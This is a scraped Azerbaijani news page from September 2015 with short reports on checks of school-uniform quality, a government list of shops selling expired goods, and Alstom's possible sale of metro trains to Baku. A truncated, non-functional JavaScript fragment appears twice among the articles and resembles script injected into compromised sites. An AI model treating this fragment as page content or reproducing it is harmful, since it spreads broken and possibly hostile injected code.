hazırıq.

8 Sentyabr 2015 5:52

Məktəbli bazarında araşdırmalara başlandı

Standartlaşdırma, Metrologiya və Patent üzrə Dövlət Komitəsi satışda olan məktəbli formalarının keyfiyyəti ilə bağlı araşdırmalara başlayıb Bu barədə virtualaz.org saytına komitədən məlumat veriblər. Xəbərdə deyilir ki, məktəb yaşlı uşaqlar üçün tikilən üst geyimlərinin - məktəbli formalarının standartların tələblərinə uyğunluğunu müəyyən etmək üçün monitorinqlərə başlanılıb. Monitorinqlərdə məqsəd satış mərkəzlərində saxta əmtəə nişanlı, keyfiyyətsiz, normativ sənədlərlə təmin edilməyən, uyğunluq sertifikatı olmayan məktəbli formalarının satışını aşkar etməklə bunun qarşısını almaqdır. Qanunvericiliyə əsasən məktəbli formaları Azərbaycan  Respublikasında qüvvədə olan dövlətlərarası standart  (ГОСТ 25294-2003 "Məktəb yaşlı oğlan və qızlar üçün üst geyimləri" standartı) əsasında müəssisələr tərəfindən hazırlanmış və dövlət qeydiyyatına alınmış texniki şərtlərin tələbləri əsasında istehsal edilir. Texniki şərtlərdə məhsulun keyfiyyətinə olan məcburi tələblər, şagirdlər üçün dəstlərin xarici görünüşü və modelin təsviri əks olunmalıdır. Məhsulların laboratoriya sınaqları aparıldıqdan sonra normativ sənədlərin tələblərinə uyğunluğu təsdiq edilməli və Dövlət Akkreditasiya Xidmətinin akkreditasiya etdiyi sertifikatlaşdırma orqanları tərəfindən sertifikatlaşdırılmalıdır. Hazırda respublikada 2 müəssisənin istehsal etdiyi məktəbli formaları akkreditasiya olunmuş müvafiq sertifikatlaşdırma orqanı tərəfindən sertifikatlaşdırılıb. Komitə ilə yanaşı İqtisadiyyat və Sənaye Nazirliyi də monitorinq aparır. İndiyədək aparılan yoxlamalar zamanı 4 dərzi sexində Bakı Tikiş Evinin əmtəə nişanından istifadə edərək saxta məktəbli formalarının tikildiyi aşkarlanıb. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

7 Sentyabr 2015 8:38

Xarab mallar satan marketlərin siyahısı

İqtisadiyyat və Sənaye Nazirliyi yanında Antiinhisar Siyasəti və İstehlakçıların Hüquqlarının Müdafiəsi Dövlət Xidməti tərəfindən istehlak bazarına nəzarət tədbirləri davam etdirilir Faktinfo.az nazirliyin saytına istinadən xəbər verir ki, Dövlət Xidməti tərəfindən aparılan növbəti monitorinqlər zamanı Bakının Suraxanı rayonunda - Hövsan qəsəbəsində Mirzə Quliyevə məxsus mağazada saxlama müddəti ötmüş və normativ-texniki sənədlərin tələblərinə uyğun olmayan malların; Nəsimi rayonunda - M.Qaşqay küçəsi, ev 10 ünvanında Şəhrud Rzayevə məxsus mağazada; Nizami rayonunda - Q.Qarayev prospekti və Ş.Mirzəyev küçələrinin kəsişməsində Qədir Bağırova məxsus kafedə; Şabran şəhərində - H.Nağıyev küçəsində Sevil Muxtarovaya məxsus mağazada normativ-texniki sənədlərin tələblərinə uyğun olmayan malların; Bakının Binəqədi rayonunda - 9-cu mikrorayon, M.Cəlal küçəsi, 34 ünvanında Aynurə Sebexanovaya məxsus mağazada; Abşeron rayonunda - Mehdiabad qəsəbəsində İmamverdi Həsənova məxsus mağazada; Saatlı rayonunda - Sarıcalar kəndində Zahir Əsgərova məxsus mağazada saxlama müddəti ötmüş malların satıldığı aşkarlanmış və qanunamüvafiq tədbirlər görülüb. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

7 Sentyabr 2015 7:15

Azərbaycan Fransadan yeni metro qatarları ala bilər

  Ölkə hökumətinin bununla bağlı 2016-cı ilin əvvəlində qərar verəcəyi gözlənilir Fransanın “Alstom Transport” şirkətinin "Bakı Metropoliteni" QSC ilə geniş əməkdaşlıq planları mövcuddur. Maşınqayırma sahəsində ixtisaslamış şirkət Bakının mövcud metro xətlərində istismar olunan köhnə qatarları yeniləməyə, habelə yeni nəsil qatarlarını tədarük etməyə hazırdır. Bunu “Report”a açıqlamasında "Alstom Transport"un Rusiya və MDB ölkələri üzrə baş vitse-prezidenti Martin Vojur deyib. “Burada həmçinin tərəfdaşımız “Metrovaqonmaş” (TMH) ilə birgə işləyəcəyimiz qatarlar da ola bilər. Bu məsələlər hazırda Bakı metrosu ilə müzakirə olunur. Lakin hələlik hökumətin bununla bağlı mövqeyi tam aydın deyil. 2016-cı ilin əvvəlində onların investisiyalarla bağlı dəqiq cavab verə biləcəklərini düşünürəm”, - deyə M.Vojur qeyd edib. Dünyada baş verən qlobal maliyyə böhranının Azərbaycana da təsirsiz ötüşmədiyini deyən baş vitse-prezident müəyyən büdcə çətinliklərinin olduğunu bildirib. Onun sözlərinə görə, məlum səbəblərə görə "Bakı Metropoliteni" ilə bağlı əksər investsiyalar dondurulub və ola bilər ki, bu, bir neçə ay davam etsin: "Böhran Azərbaycana da təsir göstərir. Ona görə də, olduqca ehtiyatla hərəkət etmək lazımdır. Bu cür layihələr həmişə çox zaman alır. Biz işi davam etdiririk və düşünürəm ki, 2016-cı ilin əvvəlində biz hökümətin bununla bağlı nə qərar verəcəyini öyrənə biləcəyik”. M.Vojur bununla belə “Alstom Transport”un Bakı metrosu ilə əlaqələrini davam etdirdiyini bildirib: “Biz öz məsləhətlərimizi veririk, çünki Bakı metrosu ilə həmçinin nəqliyyat vasitələri sahəsində əməkdaşlıq etmək istərdik. Belə ki, 2015-ci ildə daha 3 qatar tədarük etdik. Onlar I Avropa Oyunlarından əvvəl istismara verilib. Həmçinin, metro ilə gələcəkdə də qatarların alınmasına dair dialoqu davam etdiririk”.

5 Sentyabr 2015 3:45

Fakt

Bizi izləyin